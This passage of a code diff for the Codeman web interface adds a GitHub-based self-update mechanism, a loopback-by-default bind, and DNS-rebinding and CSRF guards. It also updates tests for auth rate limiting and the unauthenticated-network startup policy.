+    if (process.env.INVOCATION_ID && tryExec('systemctl', ['--user', 'is-active', SYSTEMD_UNIT]) === 'active') {
+      return 'systemd';
+    }
+    if (tryExec('systemctl', ['--user', 'is-active', SYSTEMD_UNIT]) === 'active') return 'systemd';
+  }
+  return 'none';
+}
+
+function isSelfUpdateEnabled(): boolean {
+  return process.env.CODEMAN_DISABLE_SELF_UPDATE !== '1';
+}
+
+/** Inspect the running install: kind, dir, branch, dirtiness, supervisor, version. */
+export function getInstallInfo(): InstallInfo {
+  const installDir = resolveInstallDir();
+  const installKind = detectInstallKind(installDir);
+  let branch: string | undefined;
+  let dirty = false;
+  if (installKind === 'git') {
+    branch = tryExec('git', ['rev-parse', '--abbrev-ref', 'HEAD'], installDir) ?? undefined;
+    const porcelain = tryExec('git', ['status', '--porcelain'], installDir);
+    dirty = !!porcelain && porcelain.length > 0;
+  }
+  return {
+    installKind,
+    installDir,
+    branch,
+    dirty,
+    supervisor: detectSupervisor(),
+    currentVersion: APP_VERSION,
+    selfUpdateEnabled: isSelfUpdateEnabled(),
+  };
+}
+
+// ─────────────────────────────────────────────────────────────────────────────
+// Update check (network)
+// ─────────────────────────────────────────────────────────────────────────────
+
+async function fetchLatestReleaseFromGitHub(
+  owner: string,
+  repo: string
+): Promise<{ tag: string; version: string; notes: string | null; htmlUrl: string | null } | null> {
+  const controller = new AbortController();
+  const timer = setTimeout(() => controller.abort(), CHECK_TIMEOUT_MS);
+  try {
+    const res = await fetch(`https://api.github.com/repos/${owner}/${repo}/releases/latest`, {
+      headers: { 'User-Agent': 'codeman-self-update', Accept: 'application/vnd.github+json' },
+      signal: controller.signal,
+    });
+    if (!res.ok) return null;
+    const data = (await res.json()) as { tag_name?: string; body?: string; html_url?: string };
+    if (!data.tag_name) return null;
+    const parsed = parseVersionFromTag(data.tag_name);
+    if (!parsed || parsed.prerelease) return null;
+    return {
+      tag: data.tag_name,
+      version: `${parsed.major}.${parsed.minor}.${parsed.patch}`,
+      notes: data.body ?? null,
+      htmlUrl: data.html_url ?? null,
+    };
+  } catch {
+    return null;
+  } finally {
+    clearTimeout(timer);
+  }
+}
+
+function fetchLatestTagViaGit(installDir: string): { tag: string; version: string } | null {
+  const out = tryExec('git', ['ls-remote', '--tags', 'origin'], installDir, CHECK_TIMEOUT_MS);
+  if (!out) return null;
+  return pickLatestStableTag(out.split('\n').filter(Boolean));
+}
+
+/** Check the configured remote for a newer release than the running version. */
+export async function checkForUpdate(): Promise<UpdateCheckResult> {
+  const info = getInstallInfo();
+  const checkedAt = Date.now();
+  const base: UpdateCheckResult = {
+    currentVersion: info.currentVersion,
+    latestVersion: null,
+    latestTag: null,
+    updateAvailable: false,
+    notes: null,
+    htmlUrl: null,
+    checkedAt,
+    source: 'none',
+  };
+  if (info.installKind !== 'git') {
+    return { ...base, error: 'Not a git install — self-update is unavailable.' };
+  }
+
+  const remote = tryExec('git', ['remote', 'get-url', 'origin'], info.installDir);
+  const gh = remote ? parseGitHubRepo(remote) : null;
+
+  if (gh) {
+    const rel = await fetchLatestReleaseFromGitHub(gh.owner, gh.repo);
+    if (rel) {
+      return {
+        ...base,
+        latestVersion: rel.version,
+        latestTag: rel.tag,
+        notes: rel.notes,
+        htmlUrl: rel.htmlUrl,
+        updateAvailable: isNewerStableVersion(info.currentVersion, rel.version),
+        source: 'github-api',
+      };
+    }
+  }
+
+  // Fallback: enumerate remote tags directly (works for non-GitHub remotes too).
+  const viaGit = fetchLatestTagViaGit(info.installDir);
+  if (viaGit) {
+    return {
+      ...base,
+      latestVersion: viaGit.version,
+      latestTag: viaGit.tag,
+      updateAvailable: isNewerStableVersion(info.currentVersion, viaGit.version),
+      source: 'git-ls-remote',
+    };
+  }
+
+  return { ...base, error: 'Could not reach the update server (GitHub API + git ls-remote both failed).' };
+}
+
+// ─────────────────────────────────────────────────────────────────────────────
+// Start an update
+// ─────────────────────────────────────────────────────────────────────────────
+
+export type StartUpdateResult =
+  | { ok: true; updateId: string; toTag: string; toVersion: string | null }
+  | { ok: false; code: 'disabled' | 'not-git' | 'in-flight' | 'up-to-date' | 'bad-tag' | 'error'; message: string };
+
+/**
+ * Copy the updater script OUT of the repo before running it. The script lives in
+ * the very repo it's about to `git checkout`, and bash reads scripts lazily — so
+ * running the in-repo copy risks executing torn/old-tag bytes after checkout.
+ * Run a snapshot under ~/.codeman instead (git never touches it).
+ */
+function stageRunner(installDir: string): string | null {
+  const src = join(installDir, 'scripts', 'self-update.sh');
+  if (!existsSync(src)) return null;
+  const runner = dataPath('self-update-runner.sh');
+  copyFileSync(src, runner);
+  chmodSync(runner, 0o755);
+  return runner;
+}
+
+/**
+ * Launch the updater so it OUTLIVES the service restart it triggers.
+ * - Linux + systemd: a transient `--scope` cgroup, independent of the
+ *   codeman-web service lifecycle (survives `systemctl restart` regardless of
+ *   the unit's KillMode). Inherits our env so node/npm/git stay on PATH.
+ * - Everything else: `setsid` into a new session (escapes launchd's process-group
+ *   kill); plain detached spawn as the last resort.
+ */
+function launchDetached(runner: string, args: string[]): void {
+  const useScope = process.platform === 'linux' && !!process.env.XDG_RUNTIME_DIR && commandExists('systemd-run');
+  let cmd: string;
+  let cmdArgs: string[];
+  if (useScope) {
+    cmd = 'systemd-run';
+    cmdArgs = ['--user', '--scope', '--collect', '--quiet', 'bash', runner, ...args];
+  } else if (commandExists('setsid')) {
+    cmd = 'setsid';
+    cmdArgs = ['bash', runner, ...args];
+  } else {
+    cmd = 'bash';
+    cmdArgs = [runner, ...args];
+  }
+  const child = spawn(cmd, cmdArgs, { detached: true, stdio: 'ignore', env: process.env });
+  child.on('error', () => {
+    // Surface the failure in the status file so the UI doesn't hang on "queued".
+    const status = readUpdateStatus();
+    if (status && isInFlight(status)) {
+      writeUpdateStatusAtomic({
+        ...status,
+        phase: 'failed',
+        message: 'Could not launch the updater process',
+        error: `spawn ${cmd} failed`,
+        updatedAt: Date.now(),
+      });
+    }
+  });
+  child.unref();
+}
+
+/**
+ * Validate, snapshot the current commit, write the initial status, and spawn the
+ * detached updater. Returns immediately — progress is reported via the status file.
+ */
+export async function startUpdate(): Promise<StartUpdateResult> {
+  const info = getInstallInfo();
+  if (!info.selfUpdateEnabled) {
+    return { ok: false, code: 'disabled', message: 'Self-update is disabled (CODEMAN_DISABLE_SELF_UPDATE=1).' };
+  }
+  if (info.installKind !== 'git') {
+    return {
+      ok: false,
+      code: 'not-git',
+      message: 'This is not a git install. Update with: npm i -g aicodeman@latest',
+    };
+  }
+  const existing = readUpdateStatus();
+  if (isInFlight(existing)) {
+    return { ok: false, code: 'in-flight', message: 'An update is already in progress.' };
+  }
+
+  const check = await checkForUpdate();
+  if (!check.latestTag || !check.updateAvailable) {
+    return { ok: false, code: 'up-to-date', message: 'Already up to date.' };
+  }
+  if (!isValidReleaseTag(check.latestTag)) {
+    return { ok: false, code: 'bad-tag', message: `Refusing to update to an unrecognized tag: ${check.latestTag}` };
+  }
+
+  const prevSha = tryExec('git', ['rev-parse', 'HEAD'], info.installDir);
+  const runner = stageRunner(info.installDir);
+  if (!runner) {
+    return { ok: false, code: 'error', message: 'scripts/self-update.sh not found in the install.' };
+  }
+
+  const updateId = randomUUID();
+  const now = Date.now();
+  const status: UpdateStatus = {
+    updateId,
+    phase: 'queued',
+    message: `Preparing update to v${check.latestVersion}…`,
+    fromVersion: info.currentVersion,
+    toVersion: check.latestVersion ?? undefined,
+    toTag: check.latestTag,
+    prevSha: prevSha ?? undefined,
+    stashRef: null,
+    supervisor: info.supervisor,
+    startedAt: now,
+    updatedAt: now,
+  };
+  writeUpdateStatusAtomic(status);
+
+  const logFile = join(tmpdir(), `codeman-update-${updateId}.log`);
+  const args = [
+    '--repo',
+    info.installDir,
+    '--tag',
+    check.latestTag,
+    '--supervisor',
+    info.supervisor,
+    '--status-file',
+    STATUS_FILE,
+    '--update-id',
+    updateId,
+    '--from-version',
+    info.currentVersion,
+    '--node',
+    process.execPath,
+    '--log',
+    logFile,
+  ];
+  if (prevSha) args.push('--prev-sha', prevSha);
+  if (info.dirty) args.push('--stash');
+
+  launchDetached(runner, args);
+  return { ok: true, updateId, toTag: check.latestTag, toVersion: check.latestVersion };
+}
+
+/** Current status for the polling endpoint; null collapses to an explicit idle. */
+export function getUpdateStatusForApi(): UpdateStatus {
+  const status = readUpdateStatus();
+  if (status) return status;
+  return {
+    updateId: '',
+    phase: 'idle',
+    message: '',
+    fromVersion: APP_VERSION,
+    startedAt: 0,
+    updatedAt: 0,
+  };
+}

src/web/server.ts

@@ -85,6 +85,8 @@ import {
   type RespawnWiringDeps,
 } from './respawn-event-wiring.js';
 
+import { reconcileUpdateOnBoot } from './self-update.js';
+
 // Load version from package.json
 const require = createRequire(import.meta.url);
 const { version: APP_VERSION } = require('../../package.json');
@@ -100,8 +102,9 @@ import type { EventLoopMonitorHandle } from '../utils/index.js';
 import { MAX_CONCURRENT_SESSIONS, MAX_SSE_CLIENTS } from '../config/map-limits.js';
 import { SseEvent } from './sse-events.js';
 import type { ScheduledRun } from './ports/index.js';
-import { registerAuthMiddleware, registerSecurityHeaders } from './middleware/auth.js';
+import { registerAuthMiddleware, registerSecurityHeaders, registerHostGuard } from './middleware/auth.js';
 import { installRouteErrorHandler } from './route-error-handler.js';
+import { isExplicitlyEnabled, isLoopbackBindHost, buildHostPolicy, type HostPolicy } from './network-auth-policy.js';
 import {
   registerPushRoutes,
   registerTeamRoutes,
@@ -191,6 +194,7 @@ export class WebServer extends EventEmitter {
   private sse: SseStreamManager;
   private store = getStore();
   private port: number;
+  private host: string;
   private https: boolean;
   private testMode: boolean;
   private mux: TerminalMultiplexer;
@@ -232,6 +236,10 @@ export class WebServer extends EventEmitter {
   private pushStore: PushSubscriptionStore = new PushSubscriptionStore();
   private teamWatcher: TeamWatcher = new TeamWatcher();
   private _orchestratorLoop: import('../orchestrator-loop.js').OrchestratorLoop | null = null;
+  private readonly titleHostname: string;
+  private readonly windowTitle: string;
+  private readonly indexHtmlTemplate: string;
+  private readonly allowUnauthenticatedNetwork: boolean;
   private _pasteImageGcStop: (() => void) | null = null;
   private _eventLoopMonitor: EventLoopMonitorHandle | null = null;
   private teamWatcherHandlers: {
@@ -240,15 +248,22 @@ export class WebServer extends EventEmitter {
     teamRemoved: (config: unknown) => void;
     taskUpdated: (data: unknown) => void;
   } | null = null;
-  private readonly titleHostname: string;
-  private readonly windowTitle: string;
-  private readonly indexHtmlTemplate: string;
-  constructor(port: number = 3000, https: boolean = false, testMode: boolean = false, titleHostname?: string) {
+  constructor(
+    port: number = 3000,
+    https: boolean = false,
+    testMode: boolean = false,
+    host: string = '127.0.0.1',
+    titleHostname?: string,
+    allowUnauthenticatedNetwork: boolean = false
+  ) {
     super();
     this.setMaxListeners(0);
+    this.host = host;
     this.port = port;
     this.https = https;
     this.testMode = testMode;
+    this.allowUnauthenticatedNetwork =
+      allowUnauthenticatedNetwork || isExplicitlyEnabled(process.env.CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK);
     this.titleHostname = titleHostname || getHostname();
     this.windowTitle = `codeman:${this.titleHostname}`;
     this.indexHtmlTemplate = readFileSync(join(__dirname, 'public', 'index.html'), 'utf-8');
@@ -516,6 +531,14 @@ export class WebServer extends EventEmitter {
     };
   }
 
+  /**
+   * Current Host/Origin allowlist policy. Read per request so a tunnel started at
+   * runtime (PUT /api/settings) is reflected without a restart.
+   */
+  private getHostPolicy(): HostPolicy {
+    return buildHostPolicy(this.host, this.tunnelManager.getUrl());
+  }
+
   private async setupRoutes(): Promise<void> {
     // multipart/form-data: parser is provided by @fastify/multipart (registered
     // below). Its parser is a no-op marker that leaves the body on req.raw, so
@@ -532,6 +555,11 @@ export class WebServer extends EventEmitter {
     // Cookie plugin (needed for auth session tokens)
     await this.app.register(fastifyCookie);
 
+    // Anti-DNS-rebinding Host allowlist + cross-site (CSRF) Origin guard. Registered
+    // before auth so forged cross-site / rebound requests are rejected up front, even
+    // on the default no-password install. See docs/reports/security-review-2026-06-09.md.
+    registerHostGuard(this.app, () => this.getHostPolicy());
+
     // Auth middleware (Basic Auth + session cookies + rate limiting)
     const authState = registerAuthMiddleware(this.app, this.https);
     if (authState) {
@@ -683,24 +711,28 @@ export class WebServer extends EventEmitter {
     // parseBody. Shared with the route test harness so test behavior matches prod.
     installRouteErrorHandler(this.app);
 
-    // Crash diagnostics beacon — frontend POSTs breadcrumbs, GET to read them
+    // Crash diagnostics beacon — frontend POSTs breadcrumbs, GET to read them.
+    // text/plain is used ONLY by this beacon (navigator.sendBeacon sends text/plain).
+    // Keep the body as a RAW STRING and parse it inside the handler — a global
+    // text/plain -> JSON parser would let a cross-site "simple request" (no CORS
+    // preflight) submit JSON to any route. See security review C2.
     let _crashBreadcrumbs = '';
     this.app.addContentTypeParser('text/plain;charset=UTF-8', { parseAs: 'string' }, (_req, body, done) => {
-      try {
-        done(null, JSON.parse(body as string));
-      } catch {
-        done(null, { data: body });
-      }
+      done(null, body);
     });
     this.app.addContentTypeParser('text/plain', { parseAs: 'string' }, (_req, body, done) => {
-      try {
-        done(null, JSON.parse(body as string));
-      } catch {
-        done(null, { data: body });
-      }
+      done(null, body);
     });
     this.app.post('/api/crash-diag', (req, reply) => {
-      _crashBreadcrumbs = String((req.body as { data?: string })?.data || '');
+      const raw = typeof req.body === 'string' ? req.body : '';
+      let data = raw;
+      try {
+        const parsed = JSON.parse(raw) as { data?: unknown };
+        if (parsed && typeof parsed.data === 'string') data = parsed.data;
+      } catch {
+        /* not JSON — treat the raw beacon text as the breadcrumbs */
+      }
+      _crashBreadcrumbs = String(data || '');
       reply.code(204).send();
     });
     this.app.get('/api/crash-diag', (_req, reply) => {
@@ -723,7 +755,7 @@ export class WebServer extends EventEmitter {
     registerPlanRoutes(this.app, ctx);
     registerClipboardRoutes(this.app, ctx);
     registerOrchestratorRoutes(this.app, ctx);
-    registerWsRoutes(this.app, ctx);
+    registerWsRoutes(this.app, ctx, () => this.getHostPolicy());
   }
 
   /**
@@ -1652,6 +1684,13 @@ export class WebServer extends EventEmitter {
     lifecycleLog.log({ event: 'server_started', sessionId: '*' });
     await lifecycleLog.trimIfNeeded();
 
+    // If a self-update restarted us into this process, finalize its status file
+    // (flip the persisted "restarting" marker → completed/failed based on the
+    // version we actually booted). No-op on a normal boot. See web/self-update.ts.
+    if (!this.testMode) {
+      reconcileUpdateOnBoot();
+    }
+
     // Restore mux sessions BEFORE accepting connections
     // This prevents race conditions where clients connect before state is ready
     // CRITICAL: Skip in test mode to prevent tests from picking up user sessions
@@ -1672,19 +1711,48 @@ export class WebServer extends EventEmitter {
       this._eventLoopMonitor = startEventLoopMonitor();
     }
 
-    await this.app.listen({ port: this.port, host: '0.0.0.0' });
+    await this.app.listen({ port: this.port, host: this.host });
     const protocol = this.https ? 'https' : 'http';
-    console.log(`Codeman web interface running at ${protocol}://localhost:${this.port}`);
+    const displayHost = this.host === '0.0.0.0' ? 'localhost' : this.host;
+    console.log(`Codeman web interface running at ${protocol}://${displayHost}:${this.port}`);
 
-    // Security warning: server binds to 0.0.0.0 (all interfaces) — warn if no auth configured
-    if (!process.env.CODEMAN_PASSWORD) {
-      console.warn('\n⚠  WARNING: No CODEMAN_PASSWORD set — server is accessible without authentication.');
-      console.warn('   Anyone on your network can access and control Claude sessions.');
-      console.warn('   Set CODEMAN_PASSWORD environment variable to enable auth.\n');
+    // Anti-DNS-rebinding Host allowlist is always on. Localhost, any bare IP, the
+    // bind host, *.ts.net / *.trycloudflare.com / *.cfargotunnel.com, and the active
+    // managed tunnel are accepted automatically; add any other domain you front this
+    // with (e.g. a custom reverse-proxy host) via CODEMAN_ALLOWED_HOSTS=host1,.suffix.
+    const extraAllowed = (process.env.CODEMAN_ALLOWED_HOSTS || '').trim();
+    if (extraAllowed) {
+      console.log(`   Host allowlist also accepts: ${extraAllowed}`);
+    }
+
+    // Codeman binds loopback (127.0.0.1) by default, which is safe out of the box.
+    // If the user opts into a non-loopback bind (e.g. --host 0.0.0.0) WITHOUT a
+    // password we no longer refuse to start — that surprised people whose setups
+    // "just worked" before. Instead we start and warn loudly, pointing at the ways
+    // to secure it. --allow-unauthenticated-network just acknowledges the risk (a
+    // terser note). See docs/security-architecture.md.
+    if (!isLoopbackBindHost(this.host) && !process.env.CODEMAN_PASSWORD) {
+      if (this.allowUnauthenticatedNetwork) {
+        console.warn(
+          `\n⚠  Codeman is reachable WITHOUT a password on ${displayHost}:${this.port} ` +
+            '(explicitly allowed). Anyone who can reach it can control your Claude sessions.\n'
+        );
+      } else {
+        console.warn(`\n⚠  WARNING: Codeman is bound to a non-loopback host (${this.host}) with NO password.`);
+        console.warn(`   Anyone who can reach ${displayHost}:${this.port} can control your Claude sessions.`);
+        console.warn('   Secure it with ONE of:');
+        console.warn('     • set CODEMAN_PASSWORD=<password>   (HTTP Basic auth), or');
+        console.warn('     • bind loopback only: --host 127.0.0.1, then front it with an');
+        console.warn('       authenticated tunnel (cloudflared) or `tailscale serve`, or');
+        console.warn('     • keep this bind and accept the risk: --allow-unauthenticated-network');
+        console.warn('   See docs/security-architecture.md for details.\n');
+      }
     }
 
     // Set API URL for child processes (MCP server, spawned sessions)
-    process.env.CODEMAN_API_URL = `${protocol}://localhost:${this.port}`;
+    const apiHost =
+      this.host === '0.0.0.0' || this.host === 'localhost' || this.host === '::1' ? '127.0.0.1' : this.host;
+    process.env.CODEMAN_API_URL = `${protocol}://${apiHost}:${this.port}`;
 
     // Start scheduled runs cleanup timer
     this.cleanup.setInterval(
@@ -2176,9 +2244,11 @@ export async function startWebServer(
   port: number = 3000,
   https: boolean = false,
   testMode: boolean = false,
-  titleHostname?: string
+  host: string = '127.0.0.1',
+  titleHostname?: string,
+  allowUnauthenticatedNetwork: boolean = false
 ): Promise<WebServer> {
-  const server = new WebServer(port, https, testMode, titleHostname);
+  const server = new WebServer(port, https, testMode, host, titleHostname, allowUnauthenticatedNetwork);
   await server.start();
   return server;
 }

src/web/sse-events.ts

@@ -5,7 +5,7 @@
  * and referenced by the frontend (`SSE_EVENTS` in `constants.js`).
  * Both files MUST be kept in sync.
  *
- * ~117 event constants organized by category:
+ * 120 event constants organized by category:
  * - **Core** (1): init
  * - **Session lifecycle** (17): created, updated, deleted, terminal, idle, working, ...
  * - **Session: Ralph** (6): ralphLoopUpdate, todoUpdate, completionDetected, ...
@@ -13,7 +13,7 @@
  * - **Session: Plan** (4): planTaskUpdate, planCheckpoint, planRollback, planTaskAdded
  * - **Tasks** (4): created, completed, failed, updated
  * - **Mux** (4): created, killed, died, statsUpdated
- * - **Respawn** (17): stateChanged, cycleStarted, aiCheck*, timer*, log, ...
+ * - **Respawn** (24): stateChanged, cycleStarted/Completed, step*, aiCheck*, planCheck*, timer*, log, ...
  * - **Subagents** (7): discovered, updated, tool_call, tool_result, progress, message, completed
  * - **Scheduled** (6): created, updated, completed, stopped, log, deleted
  * - **Teams** (4): created, updated, removed, taskUpdated
@@ -22,7 +22,9 @@
  * - **Tunnel** (7): started, stopped, progress, error, qrRotated, qrRegenerated, qrAuthUsed
  * - **Image** (1): detected
  * - **Hooks** (6): idle_prompt, permission_prompt, elicitation_dialog, stop, teammate_idle, task_completed
- * - **Cases** (2): created, linked
+ * - **Orchestrator** (12): stateChanged, planProgress, planReady, phase*, verification, task*, completed, error
+ * - **Clipboard** (1): write
+ * - **Cases** (4): created, linked, deleted, order-changed
  *
  * Naming convention: `domain:action` (e.g., `session:created`, `respawn:stateChanged`)
  *

test/auth-security.test.ts

@@ -3,26 +3,61 @@
  * 1. Timing-safe password comparison (timingSafeEqual)
  * 2. Hook event endpoint restricted to localhost
  * 3. Session cookie TTL refresh on access
- * 4. Startup warning when no password configured
+ * 4. Startup fails closed when network-bound without auth
  * 5. SSE client limit enforcement
  * 6. Logout endpoint invalidates session
  * 7. Settings schema rejects unknown fields
  *
- * Port: 3160 (auth tests), 3161 (no-auth tests)
+ * Port: 3160 (auth tests), 3161 (loopback no-auth tests), 3162 (network override tests)
  */
-import { describe, it, expect, beforeAll, afterAll } from 'vitest';
+import { describe, it, expect, beforeAll, afterAll, beforeEach, afterEach, vi } from 'vitest';
 import { WebServer } from '../src/web/server.js';
+import { TmuxManager } from '../src/tmux-manager.js';
 import { SettingsUpdateSchema } from '../src/web/schemas.js';
 
 const AUTH_PORT = 3160;
 const NOAUTH_PORT = 3161;
+const NETWORK_OVERRIDE_PORT = 3162;
+const AUTH_RATE_LIMIT_PORT = 3220;
+const NOAUTH_NETWORK_PORT = 3221;
 const TEST_USER = 'admin';
 const TEST_PASS = 'test-password-12345';
 
+vi.spyOn(TmuxManager, 'isTmuxAvailable').mockReturnValue(true);
+
 function basicAuthHeader(user: string, pass: string): string {
   return 'Basic ' + Buffer.from(`${user}:${pass}`).toString('base64');
 }
 
+async function startAuthServer(port: number): Promise<{ server: WebServer; baseUrl: string }> {
+  process.env.CODEMAN_PASSWORD = TEST_PASS;
+  process.env.CODEMAN_USERNAME = TEST_USER;
+  const server = new WebServer(port, false, true);
+  await server.start();
+  return { server, baseUrl: `http://localhost:${port}` };
+}
+
+async function getSessionCookie(baseUrl: string): Promise<string> {
+  const res = await fetch(`${baseUrl}/api/status`, {
+    headers: { Authorization: basicAuthHeader(TEST_USER, TEST_PASS) },
+  });
+  expect(res.status).toBe(200);
+  const setCookie = res.headers.get('set-cookie');
+  expect(setCookie).toBeTruthy();
+  const cookieMatch = setCookie!.match(/codeman_session=([^;]+)/);
+  expect(cookieMatch).toBeTruthy();
+  return `codeman_session=${cookieMatch![1]}`;
+}
+
+async function exhaustAuthFailures(baseUrl: string, prefix: string): Promise<void> {
+  for (let i = 0; i < 10; i++) {
+    const res = await fetch(`${baseUrl}/api/status`, {
+      headers: { Authorization: basicAuthHeader(TEST_USER, `${prefix}-${i}`) },
+    });
+    expect(res.status).toBe(401);
+  }
+}
+
 describe('Auth Security', () => {
   let server: WebServer;
   let baseUrl: string;
@@ -154,29 +189,63 @@ describe('Auth Security', () => {
   });
 
   describe('Rate Limiting', () => {
-    it('should block after too many failed attempts', async () => {
-      // Send 10 failed attempts
-      for (let i = 0; i < 10; i++) {
-        await fetch(`${baseUrl}/api/status`, {
-          headers: { Authorization: basicAuthHeader(TEST_USER, 'wrong-' + i) },
-        });
-      }
+    let rateServer: WebServer;
+    let rateBaseUrl: string;
 
-      // 11th attempt should be rate-limited
-      const res = await fetch(`${baseUrl}/api/status`, {
-        headers: { Authorization: basicAuthHeader(TEST_USER, 'wrong-again') },
-      });
-      expect(res.status).toBe(429);
+    beforeEach(async () => {
+      ({ server: rateServer, baseUrl: rateBaseUrl } = await startAuthServer(AUTH_RATE_LIMIT_PORT));
     });
 
-    it('should rate-limit even with correct credentials after lockout', async () => {
-      // After being rate-limited, even correct credentials should fail
-      const res = await fetch(`${baseUrl}/api/status`, {
+    afterEach(async () => {
+      await rateServer.stop();
+    });
+
+    it('should rate-limit wrong credentials after too many failed attempts', async () => {
+      await exhaustAuthFailures(rateBaseUrl, 'cod21-wrong');
+
+      const res = await fetch(`${rateBaseUrl}/api/status`, {
+        headers: { Authorization: basicAuthHeader(TEST_USER, 'wrong-again') },
+      });
+
+      expect(res.status).toBe(429);
+      expect(res.headers.get('retry-after')).toMatch(/^\d+$/);
+    });
+
+    it('should allow an existing valid session cookie during auth failure lockout', async () => {
+      const cookie = await getSessionCookie(rateBaseUrl);
+      await exhaustAuthFailures(rateBaseUrl, 'cod21-cookie');
+
+      const res = await fetch(`${rateBaseUrl}/api/status`, {
+        headers: { Cookie: cookie },
+      });
+
+      expect(res.status).toBe(200);
+    });
+
+    it('should allow correct credentials to recover from auth failure lockout', async () => {
+      await exhaustAuthFailures(rateBaseUrl, 'cod21-recover');
+
+      const res = await fetch(`${rateBaseUrl}/api/status`, {
         headers: { Authorization: basicAuthHeader(TEST_USER, TEST_PASS) },
       });
-      // Rate limit is per-IP and the previous test used the same IP
-      // This test verifies rate limiting isn't bypassed by correct creds
-      expect(res.status).toBe(429);
+
+      expect(res.status).toBe(200);
+      expect(res.headers.get('set-cookie')).toContain('codeman_session=');
+    });
+
+    it('should clear failed attempt count after correct credentials recover access', async () => {
+      await exhaustAuthFailures(rateBaseUrl, 'cod21-clear');
+
+      const recoveryRes = await fetch(`${rateBaseUrl}/api/status`, {
+        headers: { Authorization: basicAuthHeader(TEST_USER, TEST_PASS) },
+      });
+      expect(recoveryRes.status).toBe(200);
+
+      const wrongAfterRecovery = await fetch(`${rateBaseUrl}/api/status`, {
+        headers: { Authorization: basicAuthHeader(TEST_USER, 'wrong-after-recovery') },
+      });
+
+      expect(wrongAfterRecovery.status).toBe(401);
     });
   });
 
@@ -220,7 +289,7 @@ describe('Settings Schema Security', () => {
 
   it('should enforce tunnelEnabled as boolean', () => {
     const result = SettingsUpdateSchema.safeParse({
-      tunnelEnabled: 'yes',  // truthy string — should be rejected
+      tunnelEnabled: 'yes', // truthy string — should be rejected
     });
     expect(result.success).toBe(false);
   });
@@ -264,40 +333,80 @@ describe('Settings Schema Security', () => {
     expect(validResult.success).toBe(true);
 
     const invalidResult = SettingsUpdateSchema.safeParse({
-      nice: { enabled: true, niceValue: 100 },  // Out of range
+      nice: { enabled: true, niceValue: 100 }, // Out of range
     });
     expect(invalidResult.success).toBe(false);
   });
 });
 
-describe('No-Auth Server Warning', () => {
+describe('No-Auth Server Startup Policy', () => {
   let server: WebServer;
-  let consoleWarnSpy: string[] = [];
-  const originalWarn = console.warn;
 
   beforeAll(async () => {
     delete process.env.CODEMAN_PASSWORD;
     delete process.env.CODEMAN_USERNAME;
-    consoleWarnSpy = [];
-    console.warn = (...args: unknown[]) => {
-      consoleWarnSpy.push(args.map(String).join(' '));
-    };
-    server = new WebServer(NOAUTH_PORT, false, true);
+    delete process.env.CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK;
+    server = new WebServer(NOAUTH_PORT, false, true, '127.0.0.1');
     await server.start();
   });
 
   afterAll(async () => {
-    console.warn = originalWarn;
+    delete process.env.CODEMAN_PASSWORD;
+    delete process.env.CODEMAN_USERNAME;
+    delete process.env.CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK;
     await server.stop();
   });
 
-  it('should warn when no CODEMAN_PASSWORD is set', () => {
-    const hasWarning = consoleWarnSpy.some(msg => msg.includes('No CODEMAN_PASSWORD set'));
-    expect(hasWarning).toBe(true);
-  });
-
-  it('should allow requests without auth when no password configured', async () => {
+  it('allows loopback requests without auth when no password is configured', async () => {
     const res = await fetch(`http://localhost:${NOAUTH_PORT}/api/status`);
     expect(res.status).toBe(200);
   });
+
+  it('starts with a loud warning (not a hard failure) on a non-loopback bind without a password', async () => {
+    // Policy (0.9.0): loopback is the safe default, but opting into a non-loopback
+    // bind without a password no longer refuses to start — it starts and warns,
+    // pointing at how to secure it. See docs/security-architecture.md.
+    const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {});
+    const networkServer = new WebServer(NOAUTH_NETWORK_PORT, false, true, '0.0.0.0');
+
+    await expect(networkServer.start()).resolves.toBeUndefined();
+    const res = await fetch(`http://localhost:${NOAUTH_NETWORK_PORT}/api/status`);
+    expect(res.status).toBe(200);
+
+    const warned = warnSpy.mock.calls.flat().join('\n');
+    expect(warned).toMatch(/non-loopback host|NO password/i);
+    expect(warned).toMatch(/CODEMAN_PASSWORD/);
+
+    warnSpy.mockRestore();
+    await networkServer.stop();
+  });
+
+  it('allows non-loopback startup when CODEMAN_PASSWORD is configured', async () => {
+    process.env.CODEMAN_PASSWORD = TEST_PASS;
+    const networkServer = new WebServer(0, false, true, '0.0.0.0');
+
+    await networkServer.start();
+    await networkServer.stop();
+
+    delete process.env.CODEMAN_PASSWORD;
+  });
+
+  it('allows non-loopback startup with the explicit unauthenticated-network override', async () => {
+    const networkServer = new WebServer(NETWORK_OVERRIDE_PORT, false, true, '0.0.0.0', undefined, true);
+
+    await networkServer.start();
+    const res = await fetch(`http://localhost:${NETWORK_OVERRIDE_PORT}/api/status`);
+    expect(res.status).toBe(200);
+    await networkServer.stop();
+  });
+
+  it('allows non-loopback startup with the explicit unauthenticated-network env override', async () => {
+    process.env.CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK = 'true';
+    const networkServer = new WebServer(0, false, true, '0.0.0.0');
+
+    await networkServer.start();
+    await networkServer.stop();
+
+    delete process.env.CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK;
+  });
 });

test/cli-commands.test.ts

@@ -5,6 +5,7 @@
  */
 
 import { describe, it, expect } from 'vitest';
+import { program } from '../src/cli.js';
 
 describe('CLI Command Parsing', () => {
   describe('Command Structure', () => {
@@ -72,11 +73,11 @@ describe('CLI Command Parsing', () => {
     ];
 
     const findCommand = (name: string): Command | undefined => {
-      return commands.find(c => c.name === name || c.aliases.includes(name));
+      return commands.find((c) => c.name === name || c.aliases.includes(name));
     };
 
     const findSubcommand = (parent: Command, name: string): Command | undefined => {
-      return parent.subcommands?.find(c => c.name === name || c.aliases.includes(name));
+      return parent.subcommands?.find((c) => c.name === name || c.aliases.includes(name));
     };
 
     it('should find commands by name', () => {
@@ -103,7 +104,7 @@ describe('CLI Command Parsing', () => {
     });
 
     it('should have descriptions for all commands', () => {
-      commands.forEach(cmd => {
+      commands.forEach((cmd) => {
         expect(cmd.description).toBeTruthy();
       });
     });
@@ -267,13 +268,13 @@ describe('CLI Command Parsing', () => {
     });
 
     it('should have defaults for web flags', () => {
-      webFlags.forEach(flag => {
+      webFlags.forEach((flag) => {
         expect(flag.default).toBeDefined();
       });
     });
 
     it('should have defaults for tui flags', () => {
-      tuiFlags.forEach(flag => {
+      tuiFlags.forEach((flag) => {
         expect(flag.default).toBeDefined();
       });
     });
@@ -322,7 +323,7 @@ describe('CLI Command Parsing', () => {
